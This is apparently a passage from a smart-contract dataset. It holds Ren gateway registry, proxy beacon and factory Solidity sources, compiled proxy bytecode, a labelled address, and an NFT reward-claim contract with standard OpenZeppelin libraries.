delete it. The // caller must also have the CAN_UPDATE_GATEWAYS role. removeMintGateway(symbol); } // Check that token, Gateway and symbol haven't already been registered. if (String.isNotEmpty(mintSymbolByToken[renAsset])) { revert( string( abi.encodePacked( "GatewayRegistry: ", symbol, " token already registered as ", mintSymbolByToken[renAsset] ) ) ); } // Add to list of gateways. mintGatewaySymbols.add(symbol); mintGatewayDetailsBySymbol[symbol] = GatewayDetails({token: renAsset, gateway: mintGateway}); mintSymbolByToken[renAsset] = symbol; emit LogMintGatewayAdded(symbol, renAsset, mintGateway, symbol); } function deployMintGateway( string calldata symbol, address renAsset, string calldata version ) external onlyRoleVerbose(CAN_ADD_GATEWAYS, "CAN_ADD_GATEWAYS") { if (mintGatewaySymbols.contains(symbol)) { // Check role before expensive contract deployment. checkRoleVerbose(CAN_UPDATE_GATEWAYS, "CAN_UPDATE_GATEWAYS", _msgSender()); } address mintGateway = address(_deployMintGateway(symbol, getSignatureVerifier(), renAsset, version)); addMintGateway(symbol, renAsset, mintGateway); } function deployMintGatewayAndRenAsset( string calldata symbol, string calldata erc20Name, string calldata erc20Symbol, uint8 erc20Decimals, string calldata version ) external onlyRoleVerbose(CAN_ADD_GATEWAYS, "CAN_ADD_GATEWAYS") { if (mintGatewaySymbols.contains(symbol)) { // Check role before expensive contract deployment. checkRoleVerbose(CAN_UPDATE_GATEWAYS, "CAN_UPDATE_GATEWAYS", _msgSender()); } address renAsset = address( _deployRenAsset(getChainId(), symbol, erc20Name, erc20Symbol, erc20Decimals, version) ); address mintGateway = address(_deployMintGateway(symbol, getSignatureVerifier(), renAsset, version)); OwnableUpgradeable(renAsset).transferOwnership(mintGateway); addMintGateway(symbol, renAsset, mintGateway); } /// @notice Allows the owner to remove the Gateway contract for a given /// RenERC20 contract. /// /// @param symbol The symbol of the token to deregister. function removeMintGateway(string calldata symbol) public onlyRoleVerbose(CAN_UPDATE_GATEWAYS, "CAN_UPDATE_GATEWAYS") { address renAsset = mintGatewayDetailsBySymbol[symbol].token; require(renAsset != address(0x0), "GatewayRegistry: gateway not registered"); // Remove token and Gateway contract delete mintSymbolByToken[renAsset]; delete mintGatewayDetailsBySymbol[symbol]; mintGatewaySymbols.remove(symbol); emit LogMintGatewayRemoved(symbol, symbol); } // LOCK GATEWAYS /////////////////////////////////////////////////////////// /// @notice Allow the owner to set the Gateway contract for a given /// RenERC20 token contract. /// /// @param symbol A string that identifies the token and gateway pair. /// @param lockAsset The address of the RenERC20 token contract. /// @param lockGateway The address of the Gateway contract. function addLockGateway( string calldata symbol, address lockAsset, address lockGateway ) public onlyValidString(symbol) onlyRoleVerbose(CAN_ADD_GATEWAYS, "CAN_ADD_GATEWAYS") { if (lockGatewaySymbols.contains(symbol)) { // If there is an existing gateway for the symbol, delete it. The // caller must also have the CAN_UPDATE_GATEWAYS role. removeLockGateway(symbol); } // Check that token hasn't already been registered. if (String.isNotEmpty(lockSymbolByToken[lockAsset])) { revert( string( abi.encodePacked( "GatewayRegistry: ", symbol, " token already registered as ", lockSymbolByToken[lockAsset] ) ) ); } // Add to list of gateways. lockGatewaySymbols.add(symbol); lockGatewayDetailsBySymbol[symbol] = GatewayDetails({token: lockAsset, gateway: lockGateway}); lockSymbolByToken[lockAsset] = symbol; emit LogLockGatewayAdded(symbol, lockAsset, lockGateway, symbol); } function deployLockGateway( string calldata symbol, address lockToken, string calldata version ) external onlyRoleVerbose(CAN_ADD_GATEWAYS, "CAN_ADD_GATEWAYS") { if (lockGatewaySymbols.contains(symbol)) { // Check role before expensive contract deployment. checkRoleVerbose(CAN_UPDATE_GATEWAYS, "CAN_UPDATE_GATEWAYS", _msgSender()); } address lockGateway = address(_deployLockGateway(symbol, getSignatureVerifier(), lockToken, version)); addLockGateway(symbol, lockToken, lockGateway); } /// @notice Allows the owner to remove the Gateway contract for a given /// asset contract. /// /// @param symbol The symbol of the token to deregister. function removeLockGateway(string calldata symbol) public onlyRoleVerbose(CAN_UPDATE_GATEWAYS, "CAN_UPDATE_GATEWAYS") { require(lockGatewaySymbols.contains(symbol), "GatewayRegistry: gateway not registered"); address lockAsset = lockGatewayDetailsBySymbol[symbol].token; // Remove token and Gateway contract delete lockSymbolByToken[lockAsset]; delete lockGatewayDetailsBySymbol[symbol]; lockGatewaySymbols.remove(symbol); emit LogLockGatewayRemoved(symbol, symbol); } } contract GatewayRegistryProxy is TransparentUpgradeableProxy { constructor( address logic, address admin, bytes memory data ) payable TransparentUpgradeableProxy(logic, admin, data) {} } // SPDX-License-Identifier: GPL-3.0 // solhint-disable-next-line pragma solidity ^0.8.0; import {AccessControl} from "@openzeppelin/contracts/access/AccessControl.sol"; import {UpgradeableBeacon} from "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol"; import {Context} from "@openzeppelin/contracts/utils/Context.sol"; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; import {Address} from "@openzeppelin/contracts/utils/Address.sol"; import {BeaconProxy} from "@openzeppelin/contracts/proxy/beacon/BeaconProxy.sol"; contract ProxyBeacon is Context, UpgradeableBeacon { event LogProxyDeployerUpdated(address indexed oldProxyDeployer, address indexed newProxyDeployer); // Only allow one address to call `deployProxy`. address private _proxyDeployer; modifier onlyProxyDeployer() { address proxyDeployer_ = getProxyDeployer(); require( proxyDeployer_ != address(0x0) && _msgSender() == proxyDeployer_, "ProxyBeacon: caller is not the proxy deployer" ); _; } constructor(address implementation_, address contractOwner) UpgradeableBeacon(implementation_) { transferOwnership(contractOwner); } // GETTERS ///////////////////////////////////////////////////////////////// function getProxyDeployer() public view returns (address) { return _proxyDeployer; } // GOVERNANCE ////////////////////////////////////////////////////////////// function updateProxyDeployer(address newProxyDeployer) public onlyOwner { require(newProxyDeployer != address(0x0), "ProxyBeacon: invalid proxy deployer"); address oldProxyDeployer = _proxyDeployer; _proxyDeployer = newProxyDeployer; emit LogProxyDeployerUpdated(oldProxyDeployer, newProxyDeployer); } // RESTRICTED ////////////////////////////////////////////////////////////// /// @notice Deploy a proxy that fetches its implementation from this /// ProxyBeacon. function deployProxy(bytes32 create2Salt, bytes calldata encodedParameters) external onlyProxyDeployer returns (address) { // Deploy without initialization code so that the create2 address isn't // based on the initialization parameters. address proxy = address(new BeaconProxy{salt: create2Salt}(address(this), "")); Address.functionCall(address(proxy), encodedParameters); return proxy; } } contract RenAssetProxyBeacon is ProxyBeacon { string public constant NAME = "RenAssetProxyBeacon"; constructor(address implementation, address adminAddress) ProxyBeacon(implementation, adminAddress) {} } contract MintGatewayProxyBeacon is ProxyBeacon { string public constant NAME = "MintGatewayProxyBeacon"; constructor(address implementation, address adminAddress) ProxyBeacon(implementation, adminAddress) {} } contract LockGatewayProxyBeacon is ProxyBeacon { string public constant NAME = "LockGatewayProxyBeacon"; constructor(address implementation, address adminAddress) ProxyBeacon(implementation, adminAddress) {} } // SPDX-License-Identifier: GPL-3.0 // solhint-disable-next-line pragma solidity ^0.8.0; import {Initializable} from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import {ContextUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol"; import {BeaconProxy} from "@openzeppelin/contracts/proxy/beacon/BeaconProxy.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IMintGateway} from "../Gateways/interfaces/IMintGateway.sol"; import {ILockGateway} from "../Gateways/interfaces/ILockGateway.sol"; import {RenAssetProxyBeacon, MintGatewayProxyBeacon, LockGatewayProxyBeacon} from "./ProxyBeacon.sol"; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; contract RenAssetFactoryState { RenAssetProxyBeacon internal _renAssetProxyBeacon; MintGatewayProxyBeacon internal _mintGatewayProxyBeacon; LockGatewayProxyBeacon internal _lockGatewayProxyBeacon; } abstract contract RenAssetFactory is Initializable, ContextUpgradeable, RenAssetFactoryState { event RenAssetProxyDeployed( uint256 chainId, string asset, string name, string symbol, uint8 decimals, string version ); event MintGatewayProxyDeployed(string asset, address signatureVerifier, address token, string version); event LockGatewayProxyDeployed(string asset, address signatureVerifier, address token, string version); function getRenAssetProxyBeacon() public view returns (RenAssetProxyBeacon) { return _renAssetProxyBeacon; } function getMintGatewayProxyBeacon() public view returns (MintGatewayProxyBeacon) { return _mintGatewayProxyBeacon; } function getLockGatewayProxyBeacon() public view returns (LockGatewayProxyBeacon) { return _lockGatewayProxyBeacon; } function __RenAssetFactory_init( address renAssetProxyBeacon_, address mintGatewayProxyBeacon_, address lockGatewayProxyBeacon_ ) public initializer { __Context_init(); _renAssetProxyBeacon = RenAssetProxyBeacon(renAssetProxyBeacon_); _mintGatewayProxyBeacon = MintGatewayProxyBeacon(mintGatewayProxyBeacon_); _lockGatewayProxyBeacon = LockGatewayProxyBeacon(lockGatewayProxyBeacon_); } function _deployRenAsset( uint256 chainId, string calldata asset, string calldata name, string calldata symbol, uint8 decimals, string calldata version ) internal returns (IERC20) { bytes memory encodedParameters = abi.encodeWithSignature( "__RenAsset_init(uint256,string,string,string,uint8,address)", chainId, version, name, symbol, decimals, // Owner will be transferred to gateway address(this) ); bytes32 create2Salt = keccak256(abi.encodePacked(asset, version)); address renAsset = getRenAssetProxyBeacon().deployProxy(create2Salt, encodedParameters); emit RenAssetProxyDeployed(chainId, asset, name, symbol, decimals, version); return IERC20(renAsset); } function _deployMintGateway( string calldata asset, address signatureVerifier, address token, string calldata version ) internal returns (IMintGateway) { bytes memory encodedParameters = abi.encodeWithSignature( "__MintGateway_init(string,address,address)", asset, signatureVerifier, token ); bytes32 create2Salt = keccak256(abi.encodePacked(asset, version)); address mintGateway = getMintGatewayProxyBeacon().deployProxy(create2Salt, encodedParameters); emit MintGatewayProxyDeployed(asset, signatureVerifier, token, version); return IMintGateway(mintGateway); } function _deployLockGateway( string calldata asset, address signatureVerifier, address token, string calldata version ) internal returns (ILockGateway) { bytes memory encodedParameters = abi.encodeWithSignature( "__LockGateway_init(string,address,address)", asset, signatureVerifier, token ); bytes32 create2Salt = keccak256(abi.encodePacked(asset, version)); address lockGateway = getLockGatewayProxyBeacon().deployProxy(create2Salt, encodedParameters); emit LockGatewayProxyDeployed(asset, signatureVerifier, token, version); return ILockGateway(lockGateway); } } // SPDX-License-Identifier: GPL-3.0 // solhint-disable-next-line pragma solidity ^0.8.0; abstract contract ILockGateway { event LogRelease(address indexed recipient, uint256 amount, bytes32 indexed sigHash, bytes32 indexed nHash); event LogLockToChain( string recipientAddress, string recipientChain, bytes recipientPayload, uint256 amount, uint256 indexed lockNonce, // Indexed versions of previous parameters. string indexed recipientAddressIndexed, string indexed recipientChainIndexed ); function lock( string calldata recipientAddress, string calldata recipientChain, bytes calldata recipientPayload, uint256 amount ) external virtual returns (uint256); function release( bytes32 pHash, uint256 amount, bytes32 nHash, bytes calldata sig ) external virtual returns (uint256); } // SPDX-License-Identifier: GPL-3.0 // solhint-disable-next-line pragma solidity ^0.8.0; abstract contract IMintGateway { /// @dev For backwards compatiblity reasons, the sigHash is cast to a /// uint256. event LogMint(address indexed to, uint256 amount, uint256 indexed sigHash, bytes32 indexed nHash); /// @dev Once `LogBurnToChain` is enabled on mainnet, LogBurn may be /// replaced by LogBurnToChain with empty payload and chain fields. /// @dev For backwards compatibility, `to` is bytes instead of a string. event LogBurn( bytes to, uint256 amount, uint256 indexed burnNonce, // Indexed versions of previous parameters. bytes indexed indexedTo ); event LogBurnToChain( string recipientAddress, string recipientChain, bytes recipientPayload, uint256 amount, uint256 indexed burnNonce, // Indexed versions of previous parameters. string indexed recipientAddressIndexed, string indexed recipientChainIndexed ); function mint( bytes32 pHash, uint256 amount, bytes32 nHash, bytes calldata sig ) external virtual returns (uint256); function burnWithPayload( string calldata recipientAddress, string calldata recipientChain, bytes calldata recipientPayload, uint256 amount ) external virtual returns (uint256); function burn(string calldata recipient, uint256 amount) external virtual returns (uint256); function burn(bytes calldata recipient, uint256 amount) external virtual returns (uint256); } // SPDX-License-Identifier: GPL-3.0 // solhint-disable-next-line pragma solidity ^0.8.0; /// Library with common String checks. library String { /// Check that the string only contains alphanumeric characters, to avoid /// UTF-8 characters that are indistinguishable from alphanumeric /// characters. function isAlphanumeric(string memory str) internal pure returns (bool) { for (uint256 i = 0; i < bytes(str).length; i++) { uint8 char = uint8(bytes(str)[i]); if (!((char >= 65 && char <= 90) || (char >= 97 && char <= 122) || (char >= 48 && char <= 57))) { return false; } } return true; } /// Check that the string has at least one character. function isNotEmpty(string memory str) internal pure returns (bool) { return bytes(str).length > 0; } /// Check that the string is not empty and only has alphanumeric characters. function isValidString(string memory str) internal pure returns (bool) { return isNotEmpty(str) && isAlphanumeric(str); } } // SPDX-License-Identifier: MIT // Modified from @openzeppelin/contracts's EnumerableSet to store strings. /* The MIT License (MIT) Copyright (c) 2016-2020 zOS Global Limited Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ // solhint-disable-next-line pragma solidity ^0.8.0; library StringSet { struct Set { string[] _values; mapping(string => uint256) _indexes; // 1-indexed } function add(Set storage set, string memory value) internal returns (bool) { if (!contains(set, value)) { set._values.push(value); set._indexes[value] = set._values.length; return true; } else { return false; } } function remove(Set storage set, string memory value) internal returns (bool) { uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // Swap the item with the last element so that it can be popped. if (lastIndex != toDeleteIndex) { string memory lastvalue = set._values[lastIndex]; set._values[toDeleteIndex] = lastvalue; set._indexes[lastvalue] = valueIndex; } set._values.pop(); delete set._indexes[value]; return true; } else { return false; } } function contains(Set storage set, string memory value) internal view returns (bool) { return set._indexes[value] != 0; } function length(Set storage set) internal view returns (uint256) { return set._values.length; } function at(Set storage set, uint256 index) internal view returns (string memory) { return set._values[index]; } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106d6565b610118565b61005b6100933660046106f1565b61015f565b3480156100a457600080fd5b506100ad6101d0565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106d6565b61020b565b3480156100f557600080fd5b506100ad610235565b610106610292565b610116610111610331565b61033b565b565b61012061035f565b6001600160a01b0316336001600160a01b031614156101575761015481604051806020016040528060008152506000610392565b50565b6101546100fe565b61016761035f565b6001600160a01b0316336001600160a01b031614156101c8576101c38383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610392915050565b505050565b6101c36100fe565b60006101da61035f565b6001600160a01b0316336001600160a01b03161415610200576101fb610331565b905090565b6102086100fe565b90565b61021361035f565b6001600160a01b0316336001600160a01b0316141561015757610154816103bd565b600061023f61035f565b6001600160a01b0316336001600160a01b03161415610200576101fb61035f565b606061028583836040518060600160405280602781526020016107f060279139610411565b9392505050565b3b151590565b61029a61035f565b6001600160a01b0316336001600160a01b031614156101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101fb6104e5565b3660008037600080366000845af43d6000803e80801561035a573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61039b8361050d565b6000825111806103a85750805b156101c3576103b78383610260565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103e661035f565b604080516001600160a01b03928316815291841660208301520160405180910390a16101548161054d565b6060833b6104705760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401610328565b600080856001600160a01b03168560405161048b9190610774565b600060405180830381855af49150503d80600081146104c6576040519150601f19603f3d011682016040523d82523d6000602084013e6104cb565b606091505b50915091506104db8282866105f6565b9695505050505050565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610383565b6105168161062f565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b6001600160a01b0381166105b25760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b6064820152608401610328565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b60608315610605575081610285565b8251156106155782518084602001fd5b8160405162461bcd60e51b81526004016103289190610790565b803b6106935760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b6064820152608401610328565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6105d5565b80356001600160a01b03811681146106d157600080fd5b919050565b6000602082840312156106e857600080fd5b610285826106ba565b60008060006040848603121561070657600080fd5b61070f846106ba565b9250602084013567ffffffffffffffff8082111561072c57600080fd5b818601915086601f83011261074057600080fd5b81358181111561074f57600080fd5b87602082850101111561076157600080fd5b6020830194508093505050509250925092565b600082516107868184602087016107c3565b9190910192915050565b60208152600082518060208401526107af8160408501602087016107c3565b601f01601f19169190910160400192915050565b60005b838110156107de5781810151838201526020016107c6565b838111156103b7575050600091015256fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220fd367df153fef4fa0f7549d4a5cad3ef50b56970f987eea439916561ddec6da564736f6c63430008070033
[ 5 ]
0xf366B47d337d122eb566bC0377bA495536bEcdD3
// SPDX-License-Identifier: MIT pragma solidity 0.8.11; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; contract RewardNft is Ownable, ReentrancyGuard { using SafeERC20 for IERC20; IERC20 public rewards; uint256 public rewardPerToken; mapping(address => bool) public nftTokenEnabled; mapping(address => mapping(uint256 => bool)) public tokenClaimed; mapping(address => mapping(uint256 => bool)) internal blockListByTokenAndTokenId; mapping(address => bool) internal blockListByTokenHolder; event EnableNftToken(address indexed token, bool indexed enabled); event ClaimReward(address indexed user, address indexed token, uint256 tokenId, uint256 rewardAmount); event ClaimRewardBatch(address indexed user, address indexed token, uint256[] tokenIds, uint256 rewardAmount); event AllowNftTokenId(address indexed token, uint256 tokenId, bool indexed allow); event AllowNftTokenIds(address indexed token, bool indexed allow); event AllowTokenHolder(address indexed holder, bool indexed allow); event AllowTokenHolders(bool indexed allow); modifier onlyEnabledNft(address _token) { require(nftTokenEnabled[_token] == true, "token not enabled"); _; } modifier onlyAllowTokenId(address _token, uint256 _tokenId) { require(blockListByTokenAndTokenId[_token][_tokenId] == false, "tokenId is blocked"); _; } modifier onlyAllowTokenHolder() { require(blockListByTokenHolder[msg.sender] == false, "token holder is blocked"); _; } constructor(IERC20 _rewards, uint256 _rewardPerToken) { rewards = _rewards; rewardPerToken = _rewardPerToken; } function enableNftToken(address _token, bool _enabled) external onlyOwner { nftTokenEnabled[_token] = _enabled; emit EnableNftToken(_token, _enabled); } function allowNftTokenId( address _token, uint256 _tokenId, bool _allow ) external onlyOwner { blockListByTokenAndTokenId[_token][_tokenId] = !_allow; emit AllowNftTokenId(_token, _tokenId, _allow); } function allowNftTokenIdBatch( address _token, uint256[] calldata _tokenIds, bool _allow ) external onlyOwner { for (uint256 i = 0; i < _tokenIds.length; i++) { blockListByTokenAndTokenId[_token][_tokenIds[i]] = !_allow; } emit AllowNftTokenIds(_token, _allow); } function isTokenIdBlocked(address _token, uint256 _tokenId) external view returns (bool) { return blockListByTokenAndTokenId[_token][_tokenId]; } function allowTokenHolder(address _holder, bool _allow) external onlyOwner { blockListByTokenHolder[_holder] = !_allow; emit AllowTokenHolder(_holder, _allow); } function allowTokenHolderBatch(address[] calldata _holders, bool _allow) external onlyOwner { for (uint256 i = 0; i < _holders.length; i++) { blockListByTokenHolder[_holders[i]] = !_allow; } emit AllowTokenHolders(_allow); } function isHolderBlocked(address _holder) external view returns (bool) { return blockListByTokenHolder[_holder]; } function claimReward(address _token, uint256 _tokenId) external onlyEnabledNft(_token) onlyAllowTokenHolder nonReentrant { _claimReward(_token, _tokenId); emit ClaimReward(msg.sender, _token, _tokenId, rewardPerToken); } function claimRewardBatch(address _token, uint256[] calldata _tokenIds) external onlyEnabledNft(_token) onlyAllowTokenHolder nonReentrant { for (uint256 i = 0; i < _tokenIds.length; i++) { _claimReward(_token, _tokenIds[i]); } emit ClaimRewardBatch(msg.sender, _token, _tokenIds, rewardPerToken); } function _claimReward(address _token, uint256 _tokenId) internal onlyAllowTokenId(_token, _tokenId) { require(tokenClaimed[_token][_tokenId] == false, "token already claimed"); require(IERC721(_token).ownerOf(_tokenId) == msg.sender, "wrong tokenId owner"); tokenClaimed[_token][_tokenId] = true; rewards.safeTransfer(msg.sender, rewardPerToken); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address 